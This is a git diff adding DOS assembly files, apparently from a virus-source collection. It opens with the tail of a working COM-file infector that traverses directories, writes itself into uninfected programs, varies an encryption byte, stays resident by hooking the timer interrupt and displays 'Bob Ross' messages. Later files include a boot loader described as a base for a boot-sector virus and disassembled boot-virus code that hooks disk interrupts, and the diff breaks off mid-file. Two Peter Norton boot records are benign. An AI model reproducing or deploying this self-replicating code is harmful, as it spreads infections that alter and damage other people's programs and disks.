21h ; 'cause it might have changed + + mov ah,4Fh ;Find next + int 21h +isdirok: + jnc gonow ;If OK, jmp elsewhere + mov si, offset nest + add si, offset_off + cmp word ptr [si], 0 ;If root directory (nest == 0) + jle short cleanup ; Quit + dec word ptr [si] ;Else decrement nest + mov dx,offset back_dir ;'..' + add dx, offset_off + mov ah,3Bh ;Change directory + int 21h ; to previous one +cleanup: + pop si + mov sp,bp + pop bp + ret +traverse_fcn endp +;============================================================================= +;D-Traversal function ends +;============================================================================= + +Goto_Error: + jmp Error + +enuff_for_now: + ;Set nest to nil + mov si, offset nest ; in order to + add si, offset_off ; halt the D-Cool + mov word ptr [si], 0 ; traversal fcn + jmp short cleanup +return_to_fcn: + jmp short In_fcn ;Return to traversal function + +infect_directory: + mov ah, 1Ah ;Set DTA + mov dx, offset DTA ; to DTA struct + add dx, offset_off + int 21h + +find_first_COM: + mov ah, 04Eh ; Find first file + mov cx, 0007h ; Any file + mov dx, offset com_mask ; DS:[DX] --> filemask + add dx, offset_off + int 21h ; Fill DTA (hopefully) + jc return_to_fcn ; Error #E421:0.1 + jmp check_if_COM_infected ; I<___-Cool! Found one! + +find_next_file2: + mov si, offset infec_now ; Another loop, + add si, offset_off ; Another infection + dec byte ptr [si] ; Infected three? + jz enuff_for_now ; If so, exit +find_next_file: + mov ah,4Fh ; Find next + int 21h + jc return_to_fcn + +check_if_COM_infected: + mov si, offset DTA + dta_filename + 6 ; look at 7th letter + add si, offset_off + cmp byte ptr [si], 'D' ; ??????D.COM? + jz find_next_file ; don't kill COMMAND.COM + + mov ax,3D00h ; Open channel read ONLY + mov dx, si ; Offset Pathname in DX + sub dx, 6 + int 21h ; Open NOW! + jc find_next_file ; If error, find another + + xchg bx,ax ; bx is now handle + mov ah,3Fh ; Save + mov cx, part1_size ; first part + mov dx, offset buffer ; to buffer + add dx, offset_off ; to be restored + push dx + int 21h ; later + + pop si ; Check for virus ID bytes + ; in the buffer + push si + lodsw ; DS:[SI] -> AX + cmp ax, virus_marker ; Compare it + jnz infect_it ; infect it if ID #1 not found + + lodsw ; Check next two bytes + cmp ax, virus_marker2 ; Compare it + jnz infect_it ; infect if ID #2 not found + pop si +bomb_out: + mov ah, 3Eh ; else close the file + int 21h ; and go find another + jmp find_next_file ; 'cuz it's already infected + +Signature db 'PHALCON' + +;============================================================================= +;D-Good Stuff - Infection routine +;============================================================================= +infect_it: + ; save fileattr + pop si + add si, offset DTA + DTA_fileattr - offset buffer + mov di, si + add di, offset origattr - offset DTA - DTA_fileattr + movsb ; DS:[SI] -> ES:[DI] + movsw ; Save origtime + movsw ; Save origdate + movsw ; Save filesize + ; Only need LSW + ; because COM files + ; can only be up to + ; 65535 bytes long + cmp word ptr [si - 2], part1_size + jl bomb_out ; is less than 8 bytes. + +do_again: + mov ah, 2Ch ; get time + int 21h + add dl, dh ; 1/100 sec + 1 sec + jz do_again ; Don't want orig strain! + + mov si, offset encrypt_val + add si, offset_off + mov byte ptr [si], dl ; 255 mutations + + mov ax, 4301h ; Set file attributes + xor cx, cx ; to nothing + mov dx, si ; filename in DTA + add dx, offset DTA + DTA_filename - offset encrypt_val + int 21h ; do it now, my child + + mov ah, 3Eh ; Close file + int 21h ; handle in BX + + mov ax, 3D02h ; Open file read/write + int 21h ; Filename offset in DX + jc bomb_out ; Damn! Probs + + mov di, dx + add di, offset oldhandle - offset DTA - DTA_filename + ; copy filehandle to + ; oldhandle + stosw ; AX -> ES:[DI] + xchg ax, bx ; file handle in BX now + + mov ah, 40h ; Write DS:[DX]->file + mov cx, part1_size - 4 ; number of bytes + mov dx, 0100h ; where code starts + int 21h ; (in memory) + + mov ah, 40h + mov si, di ; mov si, offset filesize + add si, offset filesize - 2 - offset oldhandle + add word ptr [si], 0100h + mov cx, 2 + mov dx, si + int 21h ; write jmp offset + + mov ax, [si] ; AX = filesize + sub ax, 0108h + + add si, offset buffer3 - offset filesize + push si + mov word ptr [si], ax + mov ah, 40h + mov cx, 2 + mov dx, si + int 21h + + mov ax, 4202h ; move file ptr + xor cx, cx ; from EOF + xor dx, dx ; offset cx:dx + int 21h + + call copy_rest_stuff + + pop si + add si, offset oldhandle - offset buffer3 + mov bx, word ptr [si] + mov ax, 5701h ; Restore + add si, offset origtime - offset oldhandle + mov cx, word ptr [si] ; old time and + add si, 2 + mov dx, word ptr [si] ; date + int 21h + + mov ah, 3Eh ; Close file + int 21h + + mov ax, 4301h ; Restore file + xor ch, ch + add si, offset origattr - offset origtime - 2 + mov cl, byte ptr [si] ; attributes + mov dx, si ; filename in DTA + add dx, offset DTA + DTA_filename - offset origattr + int 21h ; do it now + + jmp find_next_file2 + +GotoError: + jmp error + +Psycho: +; Check if already installed + push es + mov byte ptr cs:[100h],0 ; Initialize fingerprint + xor bx, bx ; Zero BX for start + mov ax, cs +Init1: inc bx ; Increment search segment + mov es, bx ; value + cmp ax, bx ; Not installed if we reach + je Not_Installed_Yet ; the current segment + mov si, 100h ; Search segment for + mov di, si ; fingerprint in first + mov cx, 4 ; four bytes + repe cmpsb ; Compare + jne init1 ; If not equal, try another + jmp Quit_Init ; else already installed + +Not_Installed_Yet: + pop es + mov word ptr cs:[Counter], init_delay + mov word ptr cs:[D_Mess], 1 + +; Copy interrupt handler to beginning of code + mov si, offset _int_08_handler + add si, offset_off + mov di, Int_08_Start + mov cx, int_end - int_start + rep movsb ; DS:[SI]->ES:[DI] + + mov ax, 3508h ; Get int 8 handler + int 21h ; put in ES:BX + + mov cs:[duh], bx ; Save old handler + mov cs:[duh+2], es ; in cs:[104h] + + mov ax, 2508h ; Install new handler + mov dx, Int_08_Start ; from DS:DX + int 21h ; Do it + + push es + mov ax, ds:[2Ch] ; Deallocate program + mov es, ax ; environment block + mov ah, 49h + int 21h + pop es + + mov ax, 3100h ; TSR + mov dx, (offset int_end - offset int_start + offset part1_end - offset Code + 4 + 15 + 128) SHR 4 + int 21h + int 20h ; In case of error +Quit_Init: + pop es +Error: ; On error, quit +Quit: + mov ah, 3Bh ; Change directory + mov dx, offset root_dir ; to the root dir + add dx, offset_off + int 21h + + mov ah,3Bh ; Change directory + ; Return to orig dir + add dx, offset orig_path - offset root_dir + int 21h + +; Copy buffer back to beginning of file + mov si, dx + add si, offset buffer2 - offset orig_path + mov di, 0100h + mov cx, part1_end - part1_start + rep movsb + + mov di, 0100h + jmp di +int_start: +_int_08_handler proc far + push ax + push bx + push cx + push dx + push si + push ds + push es + pushf + dec word ptr CS:[Counter] ; Counter + jnz QuitNow +;ACTIVATION!!! + mov word ptr CS:[Counter], delay ; Reset counter + + ; Set up DS & ES to equal CS + push cs + pop ds + push cs + pop es + + mov si, offset Messages - offset int_start + int_08_start + mov cx, cs:D_Mess + xor ah, ah +LoopY_ThingY: + lodsb ; DS:SI -> AL + add si, ax ; ES:BP -> Next message to display + loop LoopY_ThingY + + lodsb + xchg si, bp + + xor cx, cx + mov cl, al ; Length of string + mov ax, 1300h ; + mov bx, 0070h ; Page 0, inverse video + xor dx, dx ; (0,0) + int 10h ; Display ES:BP + inc word ptr cs:[D_Mess] + cmp word ptr cs:[D_Mess], num_messages + jnz Sigh + mov word ptr cs:[D_Mess], 1 + +Sigh: mov cx, 30h +Sigh2: push cx + mov cx, 0FFFFh +DelayX: loop DelayX + pop cx + loop Sigh2 + xchg si, bp +QuitNow: + popf + pop es + pop ds + pop si + pop dx + pop cx + pop bx + pop ax + jmp dword ptr CS:duh + +Messages db 0 + db 15, 'Bob Ross lives!' + db 21, 'Bob Ross is watching!' + db 22, 'Maybe he lives here...' + db 26, 'What a happy little cloud!' + db 38, 'Maybe he has a neighbour right here...' + db 40, 'You can make up stories as you go along.' +_int_08_handler endp +int_end: +part2_end: + +CODE ends + end part1_start + diff --git a/b/BOOT (27).ASM b/b/BOOT (27).ASM new file mode 100755 index 0000000..839a0b8 --- /dev/null +++ b/b/BOOT (27).ASM @@ -0,0 +1,248 @@ +;This is a simple boot sector that will load either MS-DOS or PC-DOS. It is not +;self-reproducing, but it will be used as the foundation on which to build a +;virus into a boot sector. + +;This segment is where the first operating system file (IBMBIO.COM or IO.SYS) +;will be loaded and executed from. We don't know (or care) what is there, but +;we do need the address to jump to defined in a separate segment so we can +;execute a far jump to it. +DOS_LOAD SEGMENT AT 0070H + ASSUME CS:DOS_LOAD + + ORG 0 + +LOAD: DB 0 ;Start of the first operating system program + +DOS_LOAD ENDS + + +MAIN SEGMENT BYTE + ASSUME CS:MAIN,DS:MAIN,SS:NOTHING + +;This jump instruction is just here so we can compile this program as a COM +;file. It is never actually executed, and never becomes a part of the boot +;sector. Only the 512 bytes after the address 7C00 in this file become part of +;the boot sector. + ORG 100H + +START: jmp BOOTSEC + +;The following two definitions are BIOS RAM bytes which contain information +;about the number and type of disk drives in the computer. These are needed by +;the virus to decide on where to look to find drives to infect. They are not +;normally needed by an ordinary boot sector. +; +; ORG 0410H +; +;SYSTEM_INFO: DB ? ;System info byte: Take bits 6 & 7 and add 1 to get number of +; ;disk drives on this system (eg 01 = 2 drives) +; +; ORG 0475H +; +;HD_COUNT: DB ? ;Number of hard drives in the system +; +;This area is reserved for loading the first sector of the root directory, when +;checking for the existence of system files and loading the first system file. + + ORG 0500H + +DISK_BUF: DW ? ;Start of the buffer + +;Here is the start of the boot sector code. This is the chunk we will take out +;of the compiled COM file and put it in the first sector on a 360K floppy disk. +;Note that this MUST be loaded onto a 360K floppy to work, because the +;parameters in the data area that follow are set up to work only with a 360K +;disk! + + ORG 7C00H + +BOOTSEC: JMP BOOT ;Jump to start of boot sector code + + ORG 7C03H ;This is needed because the jump will get coded as 2 bytes + +DOS_ID: DB 'EZBOOT ' ;Name of this boot sector (8 bytes) +SEC_SIZE: DW 200H ;Size of a sector, in bytes +SECS_PER_CLUST: DB 02 ;Number of sectors in a cluster +FAT_START: DW 1 ;Starting sector for the first File Allocation Table (FAT) +FAT_COUNT: DB 2 ;Number of FATs on this disk +ROOT_ENTRIES: DW 70H ;Number of root directory entries +SEC_COUNT: DW 2D0H ;Total number of sectors on this disk +DISK_ID: DB 0FDH ;Disk type code (This is 360KB) +SECS_PER_FAT: DW 2 ;Number of sectors per FAT +SECS_PER_TRK: DW 9 ;Sectors per track for this drive +HEADS: DW 2 ;Number of heads (sides) on this drive +HIDDEN_SECS: DW 0 ;Number of hidden sectors on the disk + +DSKBASETBL: + DB 0 ;Specify byte 1: step rate time, head unload time + DB 0 ;Specify byte 2: Head load time, DMA mode + DB 0 ;Wait time until motor turned off, in clock ticks + DB 0 ;Bytes per sector (0=128, 1=256, 2=512, 3=1024) + DB 12H ;Last sector number (we make it large enough to handle 1.2/1.44 MB floppies) + DB 0 ;Gap length between sectors for r/w operations, in bytes + DB 0 ;Data transfer length when sector length not specified + DB 0 ;Gap length between sectors for format operations, in bytes + DB 0 ;Value stored in newly formatted sectors + DB 1 ;Head settle time, in milliseconds (we set it small to speed operations) + DB 0 ;Motor startup time, in 1/8 seconds + +HEAD: DB 0 ;Current head to read from (scratch area used by boot sector) + +;Here is the start of the boot sector code + +BOOT: CLI ;interrupts off + XOR AX,AX ;prepare to set up segments + MOV ES,AX ;set ES=0 + MOV SS,AX ;start stack at 0000:7C00 + MOV SP,OFFSET BOOTSEC + MOV BX,1EH*4 ;get address of disk + LDS SI,SS:[BX] ;param table in ds:si + PUSH DS + PUSH SI ;save that address + PUSH SS + PUSH BX ;and its address + + MOV DI,OFFSET DSKBASETBL ;and update default + MOV CX,11 ;values to the table stored here + CLD ;direction flag cleared +DFLT1: LODSB + CMP BYTE PTR ES:[DI],0 ;anything non-zero + JNZ SHORT DFLT2 ;is not a default, so don't save it + STOSB ;else put default value in place + JMP SHORT DFLT3 ;and go on to next +DFLT2: INC DI +DFLT3: LOOP DFLT1 ;and loop until cx=0 + + MOV AL,AH ;set ax=0 + MOV DS,AX ;set ds=0 so we can set disk tbl + MOV WORD PTR [BX+2],AX ;to @DSKBASETBL (ax=0 here) + MOV WORD PTR [BX],OFFSET DSKBASETBL ;ok, done + STI ;now turn interrupts on + INT 13H ;and reset disk drive system +ERROR1: JC ERROR1 ;if an error, hang the machine + +;Here we look at the first file on the disk to see if it is the first MS-DOS or +;PC-DOS system file, IO.SYS or IBMBIO.COM, respectively. +LOOK_SYS: + MOV AL,BYTE PTR [FAT_COUNT] ;get fats per disk + XOR AH,AH + MUL WORD PTR [SECS_PER_FAT] ;multiply by sectors per fat + ADD AX,WORD PTR [HIDDEN_SECS] ;add hidden sectors + ADD AX,WORD PTR [FAT_START] ;add starting fat sector + + PUSH AX + MOV WORD PTR [DOS_ID],AX ;root dir, save it + + MOV AX,20H ;dir entry size + MUL WORD PTR [ROOT_ENTRIES] ;dir size in ax + MOV BX,WORD PTR [SEC_SIZE] ;sector size + ADD AX,BX ;add one sector + DEC AX ;decrement by 1 + DIV BX ;ax=# sectors in root dir + ADD WORD PTR [DOS_ID],AX ;DOS_ID=start of data + MOV BX,OFFSET DISK_BUF ;set up disk read buffer at 0000:0500 + POP AX + CALL CONVERT ;and go convert sequential sector number to bios data + MOV AL,1 ;prepare for a disk read for 1 sector + CALL READ_DISK ;go read it + + MOV DI,BX ;compare first file on disk with + MOV CX,11 ;required file name + MOV SI,OFFSET SYSFILE_1 ;of first system file for PC DOS + REPZ CMPSB + JZ SYSTEM_THERE ;ok, found it, go load it + + MOV DI,BX ;compare first file with + MOV CX,11 ;required file name + MOV SI,OFFSET SYSFILE_2 ;of first system file for MS DOS + REPZ CMPSB +ERROR2: JNZ ERROR2 ;not the same - an error, so hang the machine + +;Ok, system file is there, so load it +SYSTEM_THERE: + MOV AX,WORD PTR [DISK_BUF+1CH] ;get file size of IBMBIO.COM/IO.SYS + XOR DX,DX + DIV WORD PTR [SEC_SIZE] ;and divide by sector size + INC AL ;ax=number of sectors to read + MOV BP,AX ;store that number in BP + MOV AX,WORD PTR [DOS_ID] ;get sector number of start of data + PUSH AX + MOV BX,700H ;set disk read buffer to 0000:0700 +RD_BOOT1: MOV AX,WORD PTR [DOS_ID] ;and get sector to read + CALL CONVERT ;convert to bios Trk/Cyl/Sec info + MOV AL,1 ;read one sector + CALL READ_DISK ;go read the disk + SUB BP,1 ;subtract 1 from number of sectors to read + JZ DO_BOOT ;and quit if we're done + ADD WORD PTR [DOS_ID],1 ;add sectors read to sector to read + ADD BX,WORD PTR [SEC_SIZE] ;and update buffer address + JMP RD_BOOT1 ;then go for another + + +;Ok, the first system file has been read in, now transfer control to it +DO_BOOT: + MOV CH,BYTE PTR [DISK_ID] ;Put drive type in ch + MOV DL,BYTE PTR [DRIVE] ;Drive number in dl + POP BX + JMP FAR PTR LOAD ;and transfer control to the first system file + + +;Convert sequential sector number in ax to BIOS Track, Head, Sector information. +;Save track number in DX, sector number in CH, +CONVERT: + XOR DX,DX + DIV WORD PTR [SECS_PER_TRK] ;divide ax by sectors per track + INC DL ;dl=sector number to start read on, al=track/head count + MOV CH,DL ;save it here + XOR DX,DX + DIV WORD PTR [HEADS] ;divide ax by head count + MOV BYTE PTR [HEAD],DL ;dl=head number, save it + MOV DX,AX ;ax=track number, save it in dx + RET + + +;Read the disk for the number of sectors in al, into the buffer es:bx, using +;the track number in DX, the head number at HEAD, and the sector +;number at CH. +READ_DISK: + MOV AH,2 ;read disk command + MOV CL,6 ;shift possible upper 2 bits of track number to + SHL DH,CL ;the high bits in dh + OR DH,CH ;and put sector number in the low 6 bits + MOV CX,DX + XCHG CH,CL ;ch (0-5) = sector, cl, ch (6-7) = track + MOV DL,BYTE PTR [DRIVE] ;get drive number from here + MOV DH,BYTE PTR [HEAD] ;and head number from here + INT 13H ;go read the disk +ERROR3: JC ERROR3 ;hang in case of an error + RET + +;Move data that doesn't change from this boot sector to the one read in at +;DISK_BUF. That includes everything but the DRIVE ID (at offset 7DFDH) and +;the data area at the beginning of the boot sector. +MOVE_DATA: + MOV SI,OFFSET DSKBASETBL ;Move all of the boot sector code after the data area + MOV DI,OFFSET DISK_BUF + (OFFSET DSKBASETBL - OFFSET BOOTSEC) + MOV CX,OFFSET DRIVE - OFFSET DSKBASETBL + REP MOVSB + MOV SI,OFFSET BOOTSEC ;Move the initial jump and the sector ID + MOV DI,OFFSET DISK_BUF + MOV CX,11 + REP MOVSB + RET + + +SYSFILE_1: DB 'IBMBIO COM' ;PC DOS System file +SYSFILE_2: DB 'IO SYS' ;MS DOS System file + + ORG 7DFDH + +DRIVE: DB 0 ;Drive number, used in disk reads, etc. +BOOT_ID: DW 0AA55H ;Boot sector ID word + + +MAIN ENDS + + + END START + \ No newline at end of file diff --git a/b/BOOT-DS.ASM b/b/BOOT-DS.ASM new file mode 100755 index 0000000..255aa40 --- /dev/null +++ b/b/BOOT-DS.ASM @@ -0,0 +1,116 @@ +; Boot Record Program (C) Copyright Peter Norton 1986 +; From PC Magazine ca. January 1986 + +boots segment 'code' + + public boot + + assume cs:boots + +boot proc far + +; 30-byte DOS info -- set up for 2-sides, 9-sector +; change as needed for any other format + +head: + jmp begin ; EB 2A 90 as per normal + db ' DE 1.0 ' ; 8-byte system id + dw 512 ; sector size in bytes + db 2 ; sectors per cluster + dw 1 ; reserved clusters + db 2 ; number of fats + dw 112 ; root directory entries + dw 760 ; total sectors + db 0FDh ; format id + dw 2 ; sectors per fat + dw 9 ; sectors per track + dw 2 ; sides + dw 0 ; special hidden sectors + +; mysterious but apparently standard 14-byte filler + db 14 dup (0) + +; carry on with the boot work + +begin: + mov ax,07C0h ; boot record location + push ax + pop ds + mov bx,message_offset ; put offset to message into si + mov cx,message_length ; message length from cx +continue: + mov ah,14 ; write teletype + mov al,[bx] + push ds + push cx + push bx + int 10h + pop bx + pop cx + pop ds + inc bx + loop continue + + mov ah,0 ; read next keyboard character + int 16h + + mov ah,15 ; get video mode + int 10h + mov ah,0 ; set video mode (clears screen) + int 10h + + int 19h ; re-boot + +beg_message: + db 0Dh,0Ah ; carriage return, line-feed + db 0Dh,0Ah + db 0Dh,0Ah + db 0Dh,0Ah + db ' Start your computer with' + db 0Dh,0Ah + db ' a DOS system diskette.' + db 0Dh,0Ah + db 0Dh,0Ah + db 0Dh,0Ah + db ' This is' + db 0Dh,0Ah + db ' The Norton Utilities' + db 0Dh,0Ah + db ' Version 3.0' + db 0Dh,0Ah + db ' from' + db 0Dh,0Ah + db ' Peter Norton' + db 0Dh,0Ah + db ' 2210 Wilshire Blvd' + db 0Dh,0Ah + db ' Santa Monica, CA 90403' + db 0Dh,0Ah + db 0Dh,0Ah + db ' (213) 826-8092' + db 0Dh,0Ah + db 0Dh,0Ah + db 0Dh,0Ah + db 0Dh,0Ah + db ' Insert a DOS diskette' + db 0Dh,0Ah + db ' Press any key to start DOS ... ' +end_message: + +; I put a copyright notice here; you do if you want to ... +tail: + +message_offset equ beg_message - head +message_length equ end_message - beg_message +filler_amount equ 512 - (tail - head) - 2 + + db filler_amount dup (0) ; filler + + db 055h,0AAh ; boot id + +boot endp + +boots ends + + end + \ No newline at end of file diff --git a/b/BOOT-SS.ASM b/b/BOOT-SS.ASM new file mode 100755 index 0000000..2fb96ee --- /dev/null +++ b/b/BOOT-SS.ASM @@ -0,0 +1,115 @@ +; Boot Record Program (C) Copyright Peter Norton 1986 + +boots segment 'code' + + public boot + + assume cs:boots + +boot proc far + +; 30-byte DOS info -- set up for 1-side, 8-sector +; change as needed for any other format + +head: + jmp begin ; EB 2A 90 as per normal + db ' Norton ' ; 8-byte system id + dw 512 ; sector size in bytes + db 1 ; sectors per cluster + dw 1 ; reserved clusters + db 2 ; number of fats + dw 64 ; root directory entries + dw 320 ; total sectors + db 0FEh ; format id + dw 1 ; sectors per fat + dw 8 ; sectors per track + dw 1 ; sides + dw 0 ; special hidden sectors + +; mysterious but apparently standard 14-byte filler + db 14 dup (0) + +; carry on with the boot work + +begin: + mov ax,07C0h ; boot record location + push ax + pop ds + mov bx,message_offset ; put offset to message into si + mov cx,message_length ; message length from cx +continue: + mov ah,14 ; write teletype + mov al,[bx] + push ds + push cx + push bx + int 10h + pop bx + pop cx + pop ds + inc bx + loop continue + + mov ah,0 ; read next keyboard character + int 16h + + mov ah,15 ; get video mode + int 10h + mov ah,0 ; set video mode (clears screen) + int 10h + + int 19h ; re-boot + +beg_message: + db 0Dh,0Ah ; carriage return, line-feed + db 0Dh,0Ah + db 0Dh,0Ah + db 0Dh,0Ah + db ' Start your computer with' + db 0Dh,0Ah + db ' a DOS system diskette.' + db 0Dh,0Ah + db 0Dh,0Ah + db 0Dh,0Ah + db ' This is' + db 0Dh,0Ah + db ' The Norton Utilities' + db 0Dh,0Ah + db ' Version 3.0' + db 0Dh,0Ah + db ' from' + db 0Dh,0Ah + db ' Peter Norton' + db 0Dh,0Ah + db ' 2210 Wilshire Blvd' + db 0Dh,0Ah + db ' Santa Monica, CA 90403' + db 0Dh,0Ah + db 0Dh,0Ah + db ' (213) 826-8092' + db 0Dh,0Ah + db 0Dh,0Ah + db 0Dh,0Ah + db 0Dh,0Ah + db ' Insert a DOS diskette' + db 0Dh,0Ah + db ' Press any key to start DOS ... ' +end_message: + +; I put a copyright notice here; you do if you want to ... +tail: + +message_offset equ beg_message - head +message_length equ end_message - beg_message +filler_amount equ 512 - (tail - head) - 2 + + db filler_amount dup (0) ; filler + + db 055h,0AAh ; boot id + +boot endp + +boots ends + + end + \ No newline at end of file diff --git a/b/BOOT1.ASM b/b/BOOT1.ASM new file mode 100755 index 0000000..e608d45 --- /dev/null +++ b/b/BOOT1.ASM @@ -0,0 +1,232 @@ + name boot1_asm + .radix 16 + +start: + jmp boot + + db 'IBM 3.3' + dw 200 + db 2 + dw 1 + db 2 + dw 70 + dw 2D0 + db 0FDh + dw 2 + dw 9 + dw 2 + dw 0 + +boot: + xor ax,ax + mov ss,ax + mov sp,7C00 + mov ds,ax + mov ax,[413] + sub ax,2 + mov [413],ax + mov cl,6 + shl ax,cl + sub ax,7C0 + mov es,ax + mov si,7C00 + mov di,si + mov cx,100 + rep movsw + db 8E,0C8 +; mov cs,ax + push cs + pop ds + call n_00014A +n_00014A: + xor ah,ah + int 13 + and byte ptr [7DF8],80 + mov bx,[7DF9] + push cs + pop ax + sub ax,20 + mov es,ax + call n_00019D + mov bx,[7DF9] + inc bx + mov ax,0FFC0 + mov es,ax + call n_00019D + xor ax,ax + mov byte ptr [7DF7],al + mov ds,ax + mov ax,[4C] + mov bx,[4E] + mov [4C],7CD0 + mov [4E],cs + push cs + pop ds + mov [7D2A],ax + mov [7D2C],bx + mov dl,byte ptr [7DF8] + jmp far ptr f_007C00 + + mov ax,301 + jmp short n_0001A0 +n_00019D: + mov ax,201 +n_0001A0: + xchg ax,bx + add ax,[7C1C] + xor dx,dx + div word ptr [7C18] + inc dl + mov ch,dl + xor dx,dx + div word ptr [7C1A] + mov cl,6 + shl ah,cl + or ah,ch + mov cx,ax + xchg ch,cl + mov dh,dl + mov ax,bx +n_0001C3: + mov dl,byte ptr [7DF8] + mov bx,8000 + int 13 + jnb n_0001CF + pop ax +n_0001CF: + ret + + push ds + push es + push ax + push bx + push cx + push dx + push cs + pop ds + push cs + pop es + test byte ptr [7DF7],1 + jne n_000223 + cmp ah,2 + jne n_000223 + cmp byte ptr [7DF8],dl + mov byte ptr [7DF8],dl + jne n_000212 + xor ah,ah + int 1A + test dh,7F + jne n_000203 + test dl,0F0 + jne n_000203 + push dx + call n_0003B3 + pop dx +n_000203: + mov cx,dx + sub dx,[7EB0] + mov [7EB0],cx + sub dx,24 + jb n_000223 +n_000212: + or byte ptr [7DF7],1 + push si + push di + call n_00022E + pop di + pop si + and byte ptr [7DF7],0FE +n_000223: + pop dx + pop cx + pop bx + pop ax + pop es + pop ds + jmp far ptr f_0C833E + +n_00022E: + mov ax,201 + mov dh,0 + mov cx,1 + call n_0001C3 + test byte ptr [7DF8],80 + jz n_000263 + mov si,81BE + mov cx,4 +n_000246: + cmp byte ptr [si+4],1 + je n_000258 + cmp byte ptr [si+4],4 + je n_000258 + add si,10 + loop n_000246 + ret + +n_000258: + mov dx,[si] + mov cx,[si+2] + mov ax,201 + call n_0001C3 +n_000263: + mov si,8002 + mov di,7C02 + mov cx,1C + rep movsb + cmp [81FC],1357 + jne n_00028B + cmp byte ptr [81FBh],0 + jnb n_00028A + mov ax,[81F5] + mov [7DF5],ax + mov si,[81F9] + jmp n_000392 +n_00028A: + ret + +n_00028B: + cmp [800Bh],200 + jne n_00028A + cmp byte ptr [800Dh],2 + jb n_00028A + mov cx,[800E] + mov al,[8010] + cbw + mul word ptr [8016] + add cx,ax + mov ax,20 + mul word ptr [8011] + add ax,1FF + mov bx,200 + div bx + add cx,ax + mov word ptr [7DF5],cx + mov ax,[7C13] + sub ax,[7DF5] + mov bl,[7C0Dh] + xor dx,dx + xor bh,bh + div bx + inc ax + mov di,ax + and byte ptr [7DF7],0FBh + cmp ax,0FF0 + jbe n_0002E0 + or byte ptr [7DF7],4 +n_0002E0: + mov si,1 + mov bx,[7C0E] + dec bx + mov [7DF3],bx + mov byte ptr [7EB2],0FE + jmp short n_000300 + + db 1,0,0C,0,1,0,48,1,0,57,13 + + dw 0AA55 + +n_000300: + + extrn n_000392:near,n_0003B3:near + extrn f_007C00:far,f_0C833E:far + \ No newline at end of file diff --git a/b/BOOT2.ASM b/b/BOOT2.ASM new file mode 100755 index 0000000..daca78d --- /dev/null +++ b/b/BOOT2.ASM @@ -0,0 +1,413 @@ + name boot2_asm + .radix 16 + +n_000100: + inc word ptr [7DF3] + mov bx,[7DF3] + add byte ptr [7EB2],2 + call n_FFFF9D + jmp short n_00014B + +n_000112: + mov ax,3 + test byte ptr [7DF7],4 + je n_00011D + inc ax +n_00011D: + mul si + shr ax,1 + sub ah,byte ptr [7EB2] + mov bx,ax + cmp bx,1FF + jnb n_000100 + mov dx,[bx+8000] + test byte ptr [7DF7],4 + jne n_000145 + mov cl,4 + test si,1 + je n_000142 + shr dx,cl +n_000142: + and dh,0F +n_000145: + test dx,0FFFF + jz n_000151 +n_00014B: + inc si + cmp si,di + jbe n_000112 + ret + +n_000151: + mov dx,0FFF7 + test byte ptr [7DF7],4 + jnz n_000168 + and dh,0F + mov cl,4 + test si,1 + je n_000168 + shl dx,cl +n_000168: + or [bx+8000],dx + mov bx,[7DF3] + call n_FFFF98 + mov ax,si + sub ax,2 + mov bl,byte ptr [7C0Dh] + xor bh,bh + mul bx + add ax,[7DF5] + mov si,ax + mov bx,0 + call n_FFFF9D + mov bx,si + inc bx + call n_FFFF98 + mov bx,si + mov [7DF9],si + push cs + pop ax + sub ax,20 + mov es,ax + call n_FFFF98 + push cs + pop ax + sub ax,40 + mov es,ax + mov bx,0 + call n_FFFF98 + ret + + mov ch,23 + add dh,dh + push es + idiv word ptr [di+2] + jne n_0001DE + or byte ptr [7DF7],2 + mov ax,0 + mov ds,ax + mov ax,[20] + mov bx,[22] + mov [20],7EDF + mov [22],cs + push cs + pop ds + mov [7FC9],ax + mov [7FCBh],bx +n_0001DE: + ret + + push ds + push ax + push bx + push cx + push dx + push cs + pop ds + mov ah,0F ;Get video mode + int 10 + mov bl,al + cmp bx,[7FD4] + je n_000227 + mov [7FD4],bx + dec ah + mov byte ptr [7FD6],ah + mov ah,1 + cmp bl,7 + jne n_000205 + dec ah +n_000205: + cmp bl,4 + jnb n_00020C + dec ah +n_00020C: + mov byte ptr [7FD3],ah + mov word ptr [7FCF],101 + mov word ptr [7FD1],101 + mov ah,3 ;Read cursor position + int 10 + push dx + mov dx,[7FCF] + jmp short n_00024A + +n_000227: + mov ah,3 ;Read cursor position + int 10 + push dx + mov ah,2 ;Set cursor position + mov dx,[7FCF] + int 10 + mov ax,[7FCDh] + cmp byte ptr [7FD3],1 + jne n_000241 + mov ax,8307 +n_000241: + mov bl,ah + mov cx,1 + mov ah,9 ;Write character with attribute + int 10 +n_00024A: + mov cx,[7FD1] + cmp dh,0 + jne n_000258 + xor ch,0FF + inc ch +n_000258: + cmp dh,18 + jne n_000262 + xor ch,0FF + inc ch +n_000262: + cmp dl,0 + jne n_00026C + xor cl,0FF + inc cl +n_00026C: + cmp dl,byte ptr [7FD6] + jne n_000277 + xor cl,0FF + inc cl +n_000277: + cmp cx,[7FD1] + jne n_000294 + mov ax,[7FCDh] + and al,7 + cmp al,3 + jne n_00028B + xor ch,0FF + inc ch +n_00028B: + cmp al,5 + jne n_000294 + xor cl,0FF + inc cl +n_000294: + add dl,cl + add dh,ch + mov [7FD1],cx + mov [7FCF],dx + mov ah,2 ;Set cursor position + int 10 + mov ah,8 ;Read character with attribute + int 10 + mov [7FCDh],ax + mov bl,ah + cmp byte ptr [7FD3],1 + jne n_0002B6 + mov bl,83 +n_0002B6: + mov cx,1 + mov ax,907 ;Write character '\7' with attribute + int 10 + pop dx + mov ah,2 ;Set cursor position + int 10 + pop dx + pop cx + pop bx + pop ax + pop ds + jmp far ptr f_000020 + + add byte ptr [bx+si],al + add word ptr [bx+di],ax + add word ptr [bx+di],ax + add bh,bh + call word ptr [bx+si-49] + mov bh,0B7 + mov dh,40 + inc ax + mov dh,bl + out 5A,al + lodsb + shl ah,cl + jmp far ptr f_0F05E6 + + db '@d\`R@@@@db^b`' + + pop si + jo n_000368 + inc ax + inc cx + mov bh,0B7 + mov bh,0B6 + jmp n_000336 + + db 'IBM 3.3' + dw 200 + db 2 + dw 1 + db 2 + dw 70 + dw 2D0 + db 0FDh + dw 2 + dw 9 + dw 2 + dw 0 + + db 0011h dup (000h) + adc al,byte ptr [bx][si] + add byte ptr [bx][si],al + add byte ptr [bx][di],al + add dl,bh + +boot2: + xor ax,ax + mov ss,ax + mov sp,7C00 + push ss + pop es + mov bx,78 + lds si,ss:[bx] + push ds + push si + push ss + push bx + mov di,7C2Bh + mov cx,0Bh + cld +n_000351: + lodsb + cmp byte ptr 